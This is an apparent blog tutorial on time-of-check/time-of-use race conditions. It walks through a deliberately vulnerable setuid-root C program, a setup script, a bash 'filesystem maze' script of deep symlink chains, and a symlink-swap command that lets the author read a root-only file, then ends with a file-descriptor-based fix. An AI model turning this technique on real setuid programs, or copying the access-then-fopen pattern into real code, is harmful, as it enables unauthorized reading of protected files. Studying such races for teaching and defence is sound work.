In this article I want to describe a common race condition vulnerability type known as Time-Of-Check - Time-Of-Use (TOC-TOU).
I am going through the following steps:
Let’s discuss the vulnerability by analysing the following code:
// filename: toc_tou.c
#include<unistd.h>
#include<stdio.h>
int main(int argc, char * argv[])
{
FILE * file;
int can_read, c;
can_read = access(argv[1], R_OK);
if (can_read == 0)
{
file = fopen(argv[1], "r");
while((c = fgetc(file)) != EOF){
putc(c, stdout);
}
fclose(file);
}
else{
printf("You have no power!\n");
}
return 0;
}
In line 10, the file path given as argument, will be used to check if you have the permission to read the file pointed by it. If you don’t the program will print “You have no power!”.
In line 13, the same file path will be used to read the file pointed by it.
The problem comes when you provide a path to a file that you can read, in order to pass the check in line 10, and before the program reach line 13 you change the file pointed by the same path.
The time between the execution of line 10 and the line 13 is what we have to change the file pointed by the path provided. Even if it may seem that there is not much time between the execution of the two command there is still a race condition that we are going to exploit.
In this vulnerable program, the read operation performed by the root user. Of course, it is not a good practice to run a program with high privileges but the program should drop them as soon as possible and run with lowest possible privileges. In this article we are not going to dig more into this aspect.
To setup the challenge we are going to setup the environment with the following code:
#!/bin/bash
# filename: create_challenge.sh
rm -f file_to_check.txt
sudo rm -f file_to_open.txt
echo 'public file' > file_to_check.txt
echo 'secret file' > file_to_open.txt
chmod 700 file_to_open.txt
sudo chown root:root file_to_open.txt
make
sudo chown root:root toc_tou
sudo chmod u+s toc_tou
Where the makefile is:
all: toc_tou
toc_tou: toc_tou.c makefile
gcc -o toc_tou toc_tou.c
Once you run $ ./create_challenge.sh
you should have a folder that looks like this:
-rwxr-xr-x 1 pippo pippo 265 May 23 08:52 create_challenge.sh*
-rw-r--r-- 1 pippo pippo 12 May 23 08:55 file_to_check.txt
-rwx------ 1 root root 12 May 23 08:55 file_to_open.txt*
-rwxr-xr-x 1 pippo pippo 72 Apr 20 22:38 makefile*
-rwsr-xr-x 1 root root 8568 May 23 08:55 toc_tou*
-rwxr-xr-x 1 pippo pippo 863 May 23 08:52 toc_tou.c*
In line 5, you can see that the toc_tou
program has the setuid
bit active and the program owner is root
. This means that when the program is going to be executed it will run with he effective user ID as root
.
To exploit this program we are going to provide the program a path to a “filesystem maze” so that to reach the file pointed by the path, the system need traverse a lot of folders:
#!/bin/bash
currentDir=$(pwd)
linkOut=0
linkIn=1
numFolders=1900
fileTarget=file_to_check.txt
create_folders(){
folder=$1
dirstring="."
for index in $(seq 0 $numFolders); do mkdir $folder && cd $folder && dirstring=${dirstring}/$folder ; done
ln -s $currentDir/link$linkIn link$linkIn
cd $currentDir
ln -s $currentDir/$dirstring/link$linkIn link$linkOut
linkOut=$(($linkOut+1))
linkIn=$(($linkIn+1))
}
create_folders "1"
create_folders "2"
create_folders "3"
create_folders "4"
create_folders "5"
create_folders "6"
create_folders "7"
create_folders "8"
create_folders "9"
create_folders "0"
ln -s $fileTarget link$linkOut
ln -s link0 link
This code will create 10 folders that have 1900 folders inside each of them. It will also create 10 links in the current folder that point to the inner most folder where another link points to the next link in the main folder. This chain of links will end with the link in the main folder that will point to the file we need to check.
link –> link0
link0 –> folder –> . . . –> folder –> link1
. . .
link8 –> folder –> . . . –> folder –> link9
link9 –> file_to_check.txt
As explained before the purpose of this “maze” is to slow down the traversal of the path done by the system. When the system is busy traversing the path to reach the legitimate file used to check the permission, we can change the file pointed by the initial path to a file of our choice. Since the program is running with root permission, we will be able to read any file.
Now we can run the program as:
$ ./toc_tou link
My CPU is an i7 running at 2.90GHz and it takes about 1.5 seconds to traverse the maze to find the file used to check the access permissions. During this time we can have another terminal open to change the pointer of the link given as argument:
$ rm link && ln -s file_to_open.txt link
A common problem that you can incur while trying this challenge is that when you execute the creation of the maze the system is going to cache them in order to speed-up future operations. To clear the cache from dentries, inodes and page cache, you can execute:
# sync && echo 3 > /proc/sys/vm/drop_caches
Now, if you try to exploit the vulnerable program again, your system is going to traverse the path again. It is clear that in a real exploitation, you won’t have access to this privileged command therefore you’ll have to wait for the cache to clean itself or use other programs to force the cache to be filled with other data.
It is of course possible to create a bigger maze to have more time between the two operations.In my trials, with 36 folders, each of them with 1900 inner folders, the path resolution is going to take 3.6 seconds. With 36 folders, each of them with 1500 inner folders, the path resolution is going to take 2.6 seconds.
The program is vulnerable because it operates on file paths that can be changed after the check operation. To avoid that, the program need to operate on file descriptor.
The open
function can be used open a file and it returns a file descriptor. Once you have the file descriptor you can use other functions to check the permission of the file, like fstat
.
int open(const char *pathname, int flags);
int fstat(int fd, struct stat *statbuf);
In addition to use functions that use file descriptors you can use file pointers too.
A file descriptor is an integer used to identify an opened file at kernel level.
A file pointer is a C standard library construct, called FILE
. The FILE
wraps the file descriptor, and adds other features to it.
(It is possible to get the file pointer from a file descriptor, and vice verse, with the functions
fileno
and fdopen
.)